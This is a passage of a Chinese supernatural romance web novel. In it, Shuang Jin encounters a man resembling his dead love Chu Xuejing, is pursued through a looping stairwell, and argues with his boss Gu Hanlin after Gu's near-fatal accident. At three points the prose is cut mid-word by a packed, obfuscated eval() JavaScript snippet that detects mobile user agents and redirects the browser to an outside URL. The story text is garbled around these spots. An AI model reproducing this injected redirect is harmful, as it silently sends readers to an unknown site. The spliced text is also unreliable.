即便知道这很无礼,双锦却无法将视线从对方脸上移开。 如果楚雪镜活下来,长到这个年纪,那他的脸应该就是这样。 震撼持续的时间太久,胸腔憋闷地发痛时双锦才发现自己忘记呼吸了。 男人示好地向他伸出右手,他身量极为高挑,手掌自然也宽大,那只手横在双锦过分瘦削单薄的腰腹前,几乎与双锦的侧腰等宽。 双锦垂下视线,目光凝在对方的小指上。 明明是一只很美的手,筋骨清晰,皮肤冷白得几乎透明,它微微垂着,线条利落地从腕骨到手背,最终延申到指尖,流畅而优美,但这样漂亮的手因为残缺破坏了美感——它缺少半截小指。 而楚雪镜的右手小指也曾受过伤,有难以磨灭的疤痕。 双锦猛地推开他。 他淋着雨向远处走了很久,直到目光中出现别的行人才回过头。 男人既没有来追他,也没有离去,他还站在那里,头顶的天空层层堆积着黑鸦鸦的云翳,被雨淋湿的街道远远一看黑沉沉的,他站在空无一人的街道中心,仿佛能汲取周遭的光彩,世界一片阴沉,只有黑伞下露出来的小半张冷白的脸是唯一的亮色。 不知道是不是错觉,双锦回头的瞬间似乎看到他笑着张口说了句什么,但双锦没看懂。 寒冷的雨水落在裸露在外的皮肤上,沿着他的后颈向下蜿蜒,像一只湿冷的手贴着皮肤伸入衣领…… 双锦胡乱打了辆车离开了。 * “双锦,等到人了吗?为什么一上午都没给我回复,有事及时联系我。” 双锦看着老板的对话框,数次尝试输入信息又都删除了。 今天本是要去见客户的,对方很看好双锦雕塑馆的蜡像工艺品,十分大方地想花大价钱私人定制一个蜡像,点名让双锦负责。 不用多想,肯定是搞砸了。 双锦没等到客户就逃走了。 因为知道将工作搞砸了,双锦干脆将领导的联系方式和手机都屏蔽了,防止一会儿他知道了真相来找自己发火。 确保不会有人烦自己后,他反锁房门走进了卧室。 他喜欢安静和独处,房间总是拉着遮光窗帘,光线暧昧昏暗。 回到自己最舒适的地方后,他把外衣脱下,随意地扔在椅子上,对着室内说话,“我今天看到一个和你很像的人。” “是真的很像,我差点以为是你从海里回来了。” 说话间,他将袜子和长裤也脱下,赤丨裸着双腿仅着衬衫向床边走去。 食欲和性丨欲是人的基本欲望,但再双锦身上例外,似乎天生食欲微弱,这导致他肢体过分纤细,除却臀和大腿皮肉丰润外,其他地方都是一种不堪受力似的单薄,关节处的皮肤几乎薄的透明。 少年时他很喜欢在夏天穿短裤,海风吹过他身上单薄的衣物,勾勒出骨瘦匀亭的身形,有人看着他高挑纤细的身体半开玩笑地说:“双锦,你好像展柜里的bjd娃娃。” 双锦不喜欢别人凝视自己的身体,他难得的冷脸,从那以后就只穿长衣长裤了。 不过在所有人都不能看到自己的地方,他仍然在随心所欲。 “但他看起来比你老。” 双锦来到自己舒适的床上,双腿维持着支撑床面的姿势向两侧分开,膝盖处珠白细薄的肌肤被床单摩擦得泛红…… 被随手扔在床头柜上的手机不分场合地传来咯噔咯噔的信息提示音,但主人只有在感到厌烦时才用洇红的眼瞥一下。 该关机才对。 好烦。 “你为什么不提醒我将手机关机?”烦躁地掀开被子躺在床上后,双锦垂下睫毛平复身心的焦躁,但失败了,于是他不讲道理地推了把身侧的“人”质问对方。 枕边人被他推了一把,骤然睁开眼睛。 那是一双深黑的眼眸,睫毛偏直,在眼尾拉出细长的阴影,瞳孔澄澈美丽,却毫无情绪,如果沿着他美丽的面容向下看能看到修长的脖子上有一条细长的衔接痕迹。 是个栩栩如生的人偶,皮肤与活人无异,细看甚至能看到皮肤下黛青色的血管脉络。 双锦看了他一会儿,等到身体的烦躁消退之后,就又变成了平静温柔的样子,“算了,不和你计较。” 将柔软的被子盖过头顶,双锦自己给自己放假,决定睡一下午。 他对于翘掉工作毫无心理负担,淡然地看待生活给予或者自己创造的挫折。 下午三点多时,一个电话将他唤醒。 双锦朦朦胧胧地从摸起手机,发现是一个陌生号码,但因为是本市的,他想了想还是接了起来。 “您好……喂?” 电话那头没有回音,只有模糊的呼吸声嘶啦啦地传来,在昏暗的室内有一种怪异的节奏感。 双锦心道不好,果然几秒钟后电话里传来熟悉的声音:“双锦,有你我他妈的好不了!” “你一天没给我回信,我他妈以为你被客户拐了你知道吗?你是混蛋吧?!” 这话有些夸张的成分,他能猜到自己再一次被双锦拉黑了,但古含林打了一天电话没打通也确实有过这个念头,他忍不住想这个开高价的客户根本不是想要合作,而是图人。 双锦把电话拿远一点,防止对方的歇斯底里震痛自己的耳膜,“你不是只有一个电话号吗?” 对方嗤笑了声,“我他妈的就知道你把我拉黑了,老子半小时前刚办的新号!” 双锦:“……” 电话那边传来一连串的脚步声,似乎是到了室外,男人的声音中混入了一些车流的声音,“我现在就要去找你,你给我等着,你不给我一个理由,我……弄死你!” “弄死你”三个字咬在唇齿间,听起来很凶狠又带着暧昧的意味。 双锦回头看了眼身侧美丽的人偶,抿了抿唇。 “我见到了……” 后面几个字模糊在一声尖锐的鸣笛声中,男人低声骂了一句,才重新又问了一遍,“你见到了谁?” “雪镜,楚雪镜。” 楚雪镜三个字仿佛带有消音效果,让电话那边的男人沉默了许久。 “他不是死了吗……” “你…你这话可真是一石二鸟啊,”男人哂笑了声,“既给自己找了翘工的理由,又拒绝了我,不过你要拒绝我也不用搬出楚雪镜,他要是投胎早你他妈都能生出他了!” “古含林。”双锦预感到他又要污言秽语,不轻不重地警告了一句。 “怎么了?”男人阴沉地笑了笑,“他是你的心肝宝贝我不能说他?我当初让你把他的东西扔海里你不是很听话吗?你敢说你不知道我骗你?嗯?现在开始装深情了?” 楚雪镜这个名字像是一根刺一样扎进肉里,让他不断回忆起屈辱的过去,刺痛难忍叫骂不断,“双锦,你这人就是这样,我早就看透了,什么爱不爱的都是臭毛病……把你干服了你什么毛病都没有!” 他说着猛踹了一脚什么东西,接着是拉开车门的声音,嘴里仍然骂骂咧咧的,“你给我等着,我这就去……” “嗯?什么东西……” 他说的话惹双锦讨厌,双锦本要挂断电话,却在将手机拿开耳边的时候听到一个不对劲的声音。 “古含林……”意识到是什么,双锦骤然将手机贴到耳侧。 “吱————” “砰!” 车胎摩擦地面的声音尖利刺耳,碰撞的声音更是响彻云霄。 双锦的双眼缓缓睁大,“古含林!” 手机那边男人情绪失控的胡言乱语彻底消失了,只有什么东西坠地后传来轻巧的咚咚两声,一切归于死一样的寂静,耳畔只有自己惊愕之下变得急促的呼吸声。 紧握手机的手指用力到泛白,双锦将手机拿到身前,视线触及通话页面。 电话已经自动挂断了。 双锦第一时间拨打了急救电话。 根据古 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612199|172169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 含林最后开车门的声音,他可以猜到对方应该在雕塑馆前的马路上。 古含林…… 你死了吗? 双锦闭了闭眼。 双锦对古含林没什么感情,但对方和他相识多年,还是他现在的老板,他死了对双锦没有什么好处。 结束了急救电话后他立刻掀开被子从床上起身。 然而起身的一瞬间,胸前的衬衫忽然一紧。 衣服不知道被什么钩住了。 双锦怔了下,回过头去。 人偶侧躺在他的身侧,因为头颅位置的缘故,他的眼睑完全睁开,一双黑月似的浓黑瞳孔自下而上地看着他,在晦暗的光线中看起来深邃又明亮,有种阴沉和锐利的感觉。 而双锦的衬衫衣摆不知什么时候缠在了人偶的右手掌上。 或许是睡着时弄得吧,双锦和人偶对视了一会儿后抬手将他的眼睛阖上,又将衣摆从人偶的手掌上解下来。 可能是心绪不稳,不小心用力了一下,双锦听到了一声细小的崩裂声,接着他看到一个透明的小东西掉在眼前。 是个扣子,双锦将它捡起来随手放在床头柜上,然后起身穿衣服。 胡乱穿好后,他向人偶说了声再见,就出门了。 或许是急促的脚步声导致的震动,房门关上的瞬间,人偶的头颅状似无力地沿着枕头垂下,正对着他的方向。 双锦一怔,温声补充了一句:“马上回来陪你。” * “你还好吗?” 电话打不通,双锦发了短信过去。 彼时双锦在工作地点附近租房居住,电梯从23楼缓缓下沉,在第十六层时,双锦忽然收到了回信。 “我没事,手机坏了,我来找你了。” 双锦松了一口气,看着电梯上的数字逐渐减少。 现在出去也好,正好避开这个命大难死的疯子。 大概过了几秒钟,电梯门自动打开,双锦将手机关上向外走去,然而刚走了几步就忽然发现不对。 这里不是一楼大厅,好像是某个楼层。 但是电梯门口并没有等着乘坐电梯的人,双锦租住的房子一梯有好几户,因此走廊比较深长,他用指甲敲了敲墙壁,震动声让感应灯自动亮起。 而这片光亮也让他看到走廊里确实有个人,那人站在走廊尽头的窗前,身影被走廊的黑暗和窗外的光明冲击得有些模糊,但是根据高大的身形和宽阔的肩膀可以看出是个男性。 或许就是他在等电梯吧。 双锦重新点了一下电梯按钮,不轻不重地对男人喊了一句:“先生,电梯到了,您要同乘吗?” 感应灯缓缓熄灭,双锦又敲了敲墙壁,灯再次亮起。 男人似乎距离他进了一些。 双锦转过头去专心等电梯,不知道是不是下面的楼层有人在做什么,电梯迟迟不上来。 他有些着急,怕古含林动作太快,他还未离开就被找上门来。 还是回家吧,反锁房门装作家中没人。 胡思乱想的功夫,感应灯又暗下去了。 双锦再一次用指甲敲了敲墙壁,感应灯再一次亮起。 时间一分一秒的过去,电梯却一直没上来,双锦有些无奈地叹了口气,准备去走步梯。 现在不是下班的时间,楼道里只有他自己。 脚步声在空荡的楼梯间传来富有节奏的韵律,双锦一口气爬了大概五层后扶着墙壁喘气。 感应灯因为他的喘息声长明,休息了大概半分钟后,他拍拍手上的粉尘,忽然觉得这不行。 他家在23层,等他爬上去搞不好和堵门的古含林撞个正着。 真是上也不好下也不好。 不过现在是几层呢? 双锦向下看去,而就是这无意中的一眼让他整个人浑身凉透。 有个身量极高的男人站在下面,他深低着头看不清面容,不知道什么时候跟在双锦身后的。 无声无息,一声脚步声都未曾发出过。 距离双锦只有七八阶台阶的距离。 5. 人鱼 “噔噔噔……噔噔……” 不对劲…不对劲……不对劲! 双锦跑了将近半个小时,一层层的楼梯爬上去,却始终没看到23层。 不应该这样的,他是从第十三层向上爬的,亲眼看着数字一个个增加,却好像怎么也等不到23。 怎么回事?他太着急数错了吗? 双锦趴在扶手上向下层看去。 楼梯一层层地向下延申,直到完全淹没在黑暗中,像通往一个没有光明的世界。 “你是谁?” 那个奇怪的男人仍然跟在双锦的身后,这种感觉让他如芒在背。 而且双锦发现他距离自己更近了,从原来的八阶台阶变成了五层,这不是一下靠近的,而是一层一层。 就好像双锦每爬几层楼他就会靠近一步,逃的时间越久他就距离越近。 他并不说话,也没有攻击双锦,但是无论如何也无法逃离。 仿佛野兽狩猎之前的步步紧逼,也像是一种对猎物的玩弄戏耍。 更不对劲的是爬了这么久的楼,双锦全程没有听到他的脚步声,也没有见他喘息。 明明好几次都已经距离他很远了,但是只要双锦停下喘息一会儿,楼道的感应灯一暗一明后他就会再次出现在双锦身后,一次比一次靠近…… 有一种诡异的猜想在脑海中生出根芽,开始不受控制地疯长。 “我的朋友就在附近,不管你是谁,别再跟着我了。” 双锦紧盯着他,缓缓后退,同时不断寻找周围有没有可以防身的工具。 虽然并不被允许,但有的高层的住户还是会偷偷把一些生活杂物堆放在楼道,然而双锦什么都没找到,楼道里只有厚重的灰尘,带着霉味的空气和照明时间很短暂的感应灯,只要十几秒钟不发出声音灯光就会暗下去。 而前几次他的出现似乎都是在感应灯暗下去之后…… 双锦一只手不断敲击墙壁保持楼道内的声音,一边快速打开手机手电筒正对着男人。 两人之间的距离已经很近了,如果共同抬起手,一定能碰到对方的手臂。 近在咫尺。 双锦放弃爬楼,保持着正对男人的姿势一步步退到楼道门处,然后迅速推开铁门闪身进入。 不知道是不是手机手电筒灯光发挥了作用,直到他跑到电梯门旁重新按下电梯键那个男人也一直没有出现。 然而双锦却完全没有松一口气的感觉,甚至一颗心越发沉了下来。 这一层通道里的感应灯坏了,这是一个黑色的世界。 好在楼梯在一层层上升,数字一点点变大。 双锦点完电梯迅速背过身来。 手机手电筒一遍遍划过四周,只是灯光微弱。 * 恐惧之后最先到来的不是崩溃,而是愤怒。 “告诉你不要跟着我了!”在男人再一次无声无息地出现在身前时,双锦上前一步掐住了他的脖子。 电梯门叮的一声打开,双锦将男人推了进去。 男人没有任何反抗地被推入电梯,他踉跄一步靠在墙上,但在电梯门要关上时,他忽然抬头看向双锦。 那是张冷冽殷艳的脸,一双黝黑深邃的眼中满含笑意,明丽动人。 “小锦。” 脑中似有轰鸣之声,双锦猛然僵在原地。 紧接着电梯在两人的对视中缓缓关闭。 门之间的缝隙逐渐减小,男人咧开嘴角,双唇翕动。 因为距离够劲,双锦看明白了他的意思。 “爱你……等我。” 下一瞬,电梯门重新打开,里面空无一人。 * “楚雪镜真的回来了。” 古含林赶到时,双锦对他说。 “原来不是长得像。” 他难得地看起来很开心,对着古含林也大方地给予了笑容。 不过古含林的样子非常狼狈,他像是在地上打过滚,浑身遍布灰土和伤痕,身上的大牌皮夹克上有着夸张的划伤,胸前的皮革撕裂,颧骨和脑门有大大小小的淤青,按在门框上的左手也有擦伤,甚至还在渗出血珠。 双锦的视线在他身上过了一遍,微微垂下眼睛若有所思。 人不可貌相,正如双锦。 他的皮囊是个温柔清艳的模样,眉眼末梢天生微微下垂,长相上有几分低眉顺眼的柔顺感,说话的语气也偏向轻和,无论对谁无论说什么,都像哄着商量着人家似的,但实际上他是个极冷漠的人,人生唯一的例外是楚雪镜。 即便古含林是他的老相识,还伤成这个样子,他也毫不心疼,但他还是温声询问:“你需要去看医生吗?” 古含林脸色阴沉,难得的没有说话,只是摇了下头。 “看来你没事,真是太好了。”双锦正等着这句话,得到满意的答复后他才对古含林笑了笑,然后让开位置,让人进家里坐。 以往双锦不会主动让他进门,但或许是因为今天开心,这是第一次。 然而古含林得此恩赏却没有丝毫喜色,他脸色沉重地走进双锦家客厅,视线在室内环顾一圈后,又回到双锦的脸上,“你刚才说什么?” 双锦关上房门,去厨房倒了杯水,“楚雪镜真的回来了,我在楼道中再一次见到了他,他让我等他,”他的脸上含着笑意,端着水回来,将水递给古含林,“含林,谢谢你。” 这句莫名的感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612200|172169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢让古含林想起什么,眉头一跳,侧脸肌肉崩得死紧,下一瞬他抬手打掉了双锦手中的水杯。 玻璃杯落在地上瞬间破碎,水流向两人脚底下蔓延。 双锦维持着端着水杯的姿势挑了下眉,对古含林的冒犯没有任何恼怒,反而心情不错地走到沙发旁坐下,双眼弯弯,“你不信算了,我说的是真的。” 男人侧头看向他,线条硬朗的眼中满是阴郁,他默然地看了双锦好一会儿后忽然开口。 “我信,因为……我也看到了。” 室内忽然变得非常安静。 “是吗?”几息之后双锦脸上的笑容更盛,他很少这样笑,这样的笑容在别人脸上很正常,但是在他的脸上就有些夸张,苍白的皮肤配上明艳的笑容显露出几分素艳森丽之感。 或许是意识到自己过分了,他敛了敛笑意,又变成那个淡然轻和的模样,话语中却有着好奇,“他有和你打招呼吗?” “有,”古含林看着他,“他想杀我。” “不可能!” 提及楚雪镜,双锦的情绪很激烈,他几乎立刻厉声反驳。 “怎么不可能?!”古含林把身上的四分五裂的夹克脱下来,一把甩到双锦身前的沙发上,他几步上前用血淋淋的手握住双锦的小臂,声音阴戾,“你猜我怎么变成这个鬼样的?!” 双锦眼中的笑意也完全消散,抬眼与他直视,没什么血色的唇轻碰,有几分执拗的味道,字字清晰入耳,“他是楚雪镜。” 两人默然对视,互不相让。 足足十几秒钟后,古含林忽然怪异地一笑,“其实我骗了你,双锦,那个方法不是我编的。” “那是钟敏卉想告诉你的,钟敏卉喜欢你,我把他打了一顿,抢了他的话来讨好你。” 钟敏卉,双锦唯一看作朋友的人,他知道钟敏卉喜欢自己,但是他不在乎,他希望钟敏卉放弃,因为只有楚雪镜能入他的眼,得到他全然的真心。 “钟敏卉的大姐见过人鱼,他说那个办法是人鱼说的,我不信楚雪镜这个短命鬼真的能回来所以就告诉你了,我现在真他妈的后悔!” 双锦的脸上没有表情,他将古含林的手从自己的手腕上扯下,微微歪头,“所以你想说什么?” 古含林缓缓咧开嘴,又瞬间沉下脸,眼中阴翳浓重,暗沉如海,“钟敏卉的大姐在见过人鱼后死了,而一小时前……钟敏卉也死了,钟敏卉那娘炮喜欢你,你别装不知道。” 他满意地看到双锦神情一怔。 “双锦……既然姓楚的死了,我也愿意说个公道话,他这人确实不错,如果是他一定不会害我们。” “但是双锦,人死不能复生,回来的还是楚雪镜吗?” 6. 他非他 回来的还是楚雪镜吗? 古含林不信双锦没想过这个问题。 “其实你也怀疑吧?”他走上前按住双锦的肩膀,又低下头和他对视,彼此眼中的情绪在这种近距离下格外清晰。 “他都死了快五年了,怎么可能再回来?除非他早就不是楚雪镜了,没准是海里的妖怪,或者……厉鬼!” “对,我们遇到厉鬼了!得找个高人驱除邪祟!” 然而双锦在古含林隐隐期待中抬手握住他的手臂,将人推开,“只要他还记得我,他就是楚雪镜。” 一刹那,古含林仿佛失语似的陷入沉默,目光在双锦冷白秀致的脸上审视逡巡。 双锦也并不退缩,那双长得低眉顺眼的脸上是和长相完全相反的坚定和执拗,他像毫无波澜的死水,无法攻陷的城池,永不动摇的磐石。 因为楚雪镜。 一种轰然而起的愤怒在脑髓中砰然炸开,他觉得双锦有一种奇怪的力量。 他明明那么苍白,四肢纤细得仿佛可以折断,低下脖颈时肩胛的骨骼单薄如翅,整个人像瓷烧的,好像一碰就碎。 可是这样一个人却可以用这具纤素的身体和轻和的嗓音制造出让他发疯的东西,明明可以轻易地控制住他,让他哭都哭不出喊都喊不动,可就是控制不住自己的情绪跟着他走。 胸膛剧烈起伏,古含林不受控制地扬起手…… 双锦陷在沙发中,半长的头发因为姿势的缘故向耳后垂去,完整地露出一张清丽的脸,此时正静静地仰头看着他。 古含林望见那双眼眸中清晰的倒影时忽然一怔,然后他倏地转过身去,扬起的手落下,他几不可察地顿了一下,选择了将双锦空无一物的茶几掀翻。 “你要气死我直说,他妈的还记得我呢!还记得钟敏卉呢!结果呢?!” “我只是在打电话,半坡上忽然出现无人驾驶的老头乐朝我冲了过来,他妈的我第一次见那么大的老头乐,这要是没躲过去我他妈的现在在太平间了,还有那个娘炮……” “我刚出事钟敏卉就死了,什么东西下手这么狠这么迅速?!钟敏卉可是你们的朋友,他什么时候的罪过楚雪镜?!” “现在我说这些你还觉得他是楚雪镜吗?” 双锦垂下眼睛,没有说话。 但是古含林清楚地看到他薄薄的眼睑下微微颤动的眼珠,视线抖动是人在思考和自我怀疑时的反应。 他深吸两口气,将声音放轻,“我知道你喜欢楚雪镜,所以你应该最清楚他是什么人,如果你相信这是他,我都替楚雪镜不值啊,在你心里他就是这样的吗?” “楚雪镜是这种人吗双锦?” 楚雪镜…… 据说对于一个人的印象,我们的大脑最先回想起来的不是面容,而是情绪。 比如想起仇人就生气,想起爱人就开心。 而双锦每次回想楚雪镜总能感觉到一阵若有似无的风。 少年时的楚雪镜喜欢滑板,他长得冶丽明净,看起来适合书画,但喜欢的却是这种充满活力的运动,能将一副滑板玩出很多种炫酷的花样,加之出众夺目的外表,所过之处惊呼一片。 双锦曾被他架在滑板上,风从他紧捂着双眼的指缝间穿梭,轻抚他耳侧的碎发,空气中带着春夏植物的清新和楚雪镜身上清香的洗衣液的味道。 那时候双锦正在经历重大的家庭变故,他原本还算和睦的父母离婚,父亲离开了他们母子三人,又因为家里一些不好的秘事泄露出去,一时之间传得沸沸扬扬,议论纷纷,无论双锦走到哪里身边都有一些传言悉悉索索。 高考在即,这些他都可以努力做到不去想,但本来准备好参加的集训不能去了才是真的让他失落焦虑的。 五万的集训费对于母亲而言太困难了。 所以与前途所面临的挑战相比,别人的嚼舌根显得微不足道,况且双锦本就不在意,他对谁都很淡漠,对别人的质疑亦然。 但楚雪镜的反应却很强烈,在双锦不知多少次独自走出校门时,他忽然望了过去。 他的人缘极好,朋友遍地,前呼后拥,和双锦的形单影只是两个极端。 第二天,双锦在卧室外面的窗台上看到一个麦当劳的打包袋,他打开窗户将打包袋拿进来,发现里面不是食物,而是五个信封,五个信封里一共装了五万块钱。 “集训加油。” 虽然没有写名字,但双锦认出了,这是楚雪镜的字。 楚雪镜真有钱啊,双锦拿着钱忍不住感慨。 他知道楚雪镜家境比他们都好,父母都是大企业的高管,开着双锦不认识的漂亮车,但是也想不到五万块钱说给就给。 五万块无论在哪个年代都不是一笔小数目,更何况对学生而言。 明明他们也不算熟识,只是一对因为性格不同而不怎么说话的同桌。 甚至给了他钱后楚雪镜就不做他的同桌了,他搬着自己的桌子坐到了双锦前面。 为什么呢? 双锦看着身旁空荡荡的位置说不出心里什么感觉,但第一次因为一个人出神了很久,小半节课的时间都在胡思乱想。 为什么…… “谢谢你楚雪镜。”他将这张纸条小心规整地撕下来,但看了一遍自己的字后又揉搓成团扔掉了。 从笔袋中找了一支没用过的黑笔,另起了一张干净完整的纸,双锦重新认真写下:“谢谢你楚雪镜,我一定会还给你的。” 这样可以吗…… “谢谢你雪镜,我一定会还给你的。” 第三次,双锦终于勉强满意,他将这张纸整齐地叠成小方块攥在手心里,想偷偷递给楚雪镜。 其实很简单,楚雪镜就靠在他的桌子上,少年时的他就已经个子高挑,肩膀宽阔,坐在双锦的前面能遮挡住所有望向双锦的视线。 将纸条递给他很简单,不会有人发现的。 但就是这么简单的事,双锦一直纠结到下课,最终手中的小纸方块被汗水溻湿也没能送出去。 他发现自己忽然变得好纠结啊,以前从不会这样。 要不还是别在学习时间打扰他了,等放学吧,明天是周末,今天会提早放学,他有的是机会。 放学的时候双锦再一次准备向楚雪镜道谢,这种事他第一次做,不好意思当面说谢谢,于是他又写了一张感谢信准备用偷袭的方式送到楚雪镜手中。 但失败了,楚雪镜一放学就不见了人影。 双锦问了好几个人,有和楚雪镜熟识的人诧异地看他:“他周五晚上都是早早走的,你跟他做了这么久的同桌,没发现吗?” 原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612201|172169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来是这样吗? 双锦还真没发现。 他在校门口徘徊了很久,直到学生都走光了,保安关了大门,他确定真的等不到楚雪镜了才回家去。 或许……这么有钱的楚雪镜并不在乎他的道谢,或许他的父母对他很大方,五万块只是他的零花钱,自己要做的是好好学习,高考后尽快打工还给他。 双锦将书包背在前面,里面一直装着那五万块钱。 他不想放在家里,只有带在身上才能安心。 但只有这五万不行,还需要路费材料费,各种杂七杂八的费用加在一起又是一笔不小的钱。 如果像楚雪镜一样有钱就好了。 双锦将怀里的包抱得更紧。 要不要先把一些不用的东西卖掉凑点钱,虽然凑不到几个钱但是能缓解一下压力。 回到家后他发现母亲也是这么想的,有个上门回收的工作人员从他家门口出来,半抗半拖着他家沉重的橡木衣柜往外走。 那衣柜是他爸的,看起来不大但有将近三百斤。 工作人员虽然穿得严实却仍然能从身量上看出年纪很轻,应该像他一样,是为钱发愁的人。 双锦想看看他的模样,但他脸上带着黑色口罩,头上又戴了一定深深压着帽檐的鸭舌帽,双锦看不出他的面容,只看到他鬓边的帽檐早已被汗水湿透。 衣柜太沉重了,这种苦力一样的工作落在一个人的身上太困难了。 特别是柜子的一脚被门槛卡住。 双锦将书包背到身后,想要上前帮忙。 但就在他近身的一瞬间,一只手把他推开了。 接着那只手迅速收回,支撑住差点倒下的柜子,在双锦怔忪的目光中向外搬去。 双锦僵在原地,许久没有回过神。 工作人员推开他的瞬间下意识地看向了他,就那一眼双锦认出来了。 楚雪镜。 竟然是楚雪镜! 他不是家境很好吗? 他…… * “他不是那种人对吧?” 夏日晚上七点半,太阳终于完全落下,世界陷入黑暗之中。 古含林走到客厅门旁,将室内的灯打开,远远地看向从方才开始一直没说话的人。 他不知道在想什么,只是在室内灯光亮起时静默地看着头顶的吊灯。 “双锦。”古含林叫了他一声。 青年这才撩起睫毛看向他。 他终于从沙发上起身,一步步走到古含林的身边,然后在男人纳罕的目光中把灯关上了。 室内再次变得黑暗。 古含林有些奇怪地看着他,却见他关上灯后又把客厅门也打开了。 客厅外是一道长长的走廊,正对着紧闭的电梯,老小区的感应灯光线黯淡,整个走廊有一种老电影中的昏暗感。 “咔哒!”双锦又把客厅灯打开了,光明重新回归。 “……你干什么?” “咔哒!”灯再次关上。 “咔哒咔哒咔哒咔哒咔哒咔哒咔哒咔哒咔哒咔哒咔哒咔哒咔哒咔哒咔哒咔哒咔哒咔哒咔哒咔哒咔哒咔哒! “双锦你要干什么?!” 光与黯飞速变换,终于在最后一次“咔哒”声之后,光明再也没有出现,黑暗降临。 7. 犟种 真奇怪,人总是对自己拥有的东西不屑一顾。 正如古含林。 读书时他最讨厌的就是读书,向往的是学校外自由自在的日子,于是初中逃课,高中辍学。 他不喜欢被肥胖臃肿的父亲说教,也看不上每天泡在麻将和购物上的母亲,父母对他的管教在他看来是暴发户的愚昧封建,他们给他购置的大牌在他看来老土落后。 他好像对什么都不感兴趣,唯一喜欢的是18岁生日时买的摩托,古含林骑上这辆声音炸耳的摩托在夜晚寂静的马路上驰骋,他因此认识了更多兄弟,和他们在脏话和香烟中放纵,在打架斗殴中混沌度日。 他以为这样的日子可以过一辈子,可实际上只过去两年,狂欢的刺激就随着□□的疲倦而逐渐消退,只有麻木感随着香烟里进入体内,一起在五脏六腑中蒸腾。 20岁时的一个清晨,古含林在KTV中被兄弟的电话叫醒,他昏昏沉沉去摸手机,却只摸到一个倒在地上的话筒,手机不知何时掉在沙发夹缝中,五六个人横七竖八地躺着,空气中满是烟臭味和人臭味,熏得他眼珠通红。 电话接起来时,脑子还没完全清醒嘴巴就已经熟练地说完一套充满“江湖义气”的话,身体厌倦地站起来,第不知多少次的要去ktv帮兄弟撑场面。 走出ktv呼吸到一股清晨清新的空气时他忽然非常不想去,但是不去的话去做什么呢?古含林也不清楚。 但又好像是上天也不想再看他沉沦下去,这天早上发生了一个意外。 古含林把一个学生撞了。 好在那天的车速并不快,他骑车技术熟练,对方身影出现的一瞬间他快速刹车了,没造成太大伤害。 将倒下的摩托单手扶起一脚踹到路边,他气势汹汹满脸戾气地走过去把坐在地上的学生拎起来,攥着他的衣领将人抵在电线杆上。 几乎是下意识地张嘴就骂:“走路不长眼赶着找死吗?” 少年抓着他的手臂挣扎了一会儿但没挣动,被骂之后撩起眼皮淡淡地瞥了他一眼。 目光触及的一刹那,古含林心中忽而一动。 很白的脸,淡色的唇,眉尾眼尾都微微垂坠着,看起来很乖顺,但是目光却很淡漠,隐隐地还有一些倔强和不服气。 以往这样的不服气得到的是古含林反手一拳,但或许是对方看起来太白净了,他忽然想跟对方讲讲道理。 你不服什么? “你他……鬼探头还能活着那纯是哥哥技术好知道吗?还不说谢谢哥哥?” 少年眉头跳了一下,侧过头去,“我赶时间。” 这声音低低的,像他小时候还在家里时风吹过洁白的窗帘带来的轻盈感,以至于古含林反映了一会儿才意识到对方根本不跟他讲道理。 “我还赶时间呢,赶时间就乱跑啊?马路是你家的?注意交通安全你学没学啊?” 少年似乎没想到这鬼火青年竟然跟自己讲注意交通安全这几个字。 诧异地看了眼他的摩托后才张了张口后垂下睫毛去,轻声说了句:“抱歉。” 这么简单? “……这还差不多。” 算了,跟个学生计较什么? “行了,你快走吧,我也走了。” 将人放开后,他一脚踹响油门,跨坐在车上忽然有些恍惚,要去哪来着? 晃神的功夫他看着少年从他身旁走过,忽然发现那洁白柔软的校服胸口竟然有一个烟洞,诧异之后他几乎下意识地想问“你也吸烟吗”但紧接着反应过来,那应该是撞在一起时自己掉在嘴里的烟掉在了他衣服上。 也不知道自己怎么想的,他忽然完全地忘却了帮兄弟撑场子的事,用龟速驾驶着那辆摩托跟在人家后面。 “哎,你校服有点熟悉啊,哪个学校的?” “你走的真慢,我送你啊。” “你是不是内向啊,你怎么不说话?我把你撞了,疼不疼啊?” “稍微有点。” “那你上来,我送你啊。” “我要注意交通安全。” “……” “不是,你还挺倔啊?” “我没有,别跟着我了。” “你哪个学校的?我晚上还在这等你呗。” “随便你,反正马路不是我家的。” “靠,你真气人啊。” …… “爸,我想回去念书。” 真奇怪,怎么总是对不属于自己的东西魂牵梦绕。 正如自由,正如放纵,正如读书,正如双锦。 可死物易取,活人难得。 很久之后他才知道原来双锦那天是着急去见一个叫楚雪镜的人,因此才被他撞了。 后来楚雪镜死了的时候古含林恍惚了很久。 